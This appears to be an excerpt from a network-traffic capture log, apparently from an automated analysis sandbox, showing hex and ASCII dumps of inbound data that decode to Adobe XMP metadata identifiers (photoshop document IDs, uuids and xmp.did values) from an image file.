2022-07-20 17:09:01 UTC	5747	IN	Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76
2022-07-20 17:09:01 UTC	5755	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:photoshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-88883c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 17:09:01 UTC	5771	IN	Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> <rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-9aab-117a-958e-ad6bce61b908</rdf:l
2022-07-20 17:09:01 UTC	5787	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-51
2022-07-20 17:09:01 UTC	5795	IN	Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad
2022-07-20 17:09:01 UTC	5811	IN	Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957CD20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4
2022-07-20 17:09:01 UTC	7002	IN	Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 35 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC26A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u
2022-07-20 17:09:01 UTC	7026	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E111AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011
2022-07-20 17:09:01 UTC	7042	IN	Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> <rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r
2022-07-20 17:09:01 UTC	7058	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1ABCE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C
2022-07-20 17:09:01 UTC	7066	IN	Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> <rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD643</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <
2022-07-20 17:09:01 UTC	7082	IN	Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
2022-07-20 17:09:01 UTC	7098	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801
2022-07-20 17:09:01 UTC	7106	IN	Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> <rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-881c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac
2022-07-20 17:09:01 UTC	7122	IN	Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:
2022-07-20 17:09:01 UTC	7138	IN	Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> <rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:
2022-07-20 17:09:01 UTC	7145	IN	Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> <rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642
2022-07-20 17:09:02 UTC	7798	IN	Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</
2022-07-20 17:09:02 UTC	7814	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm
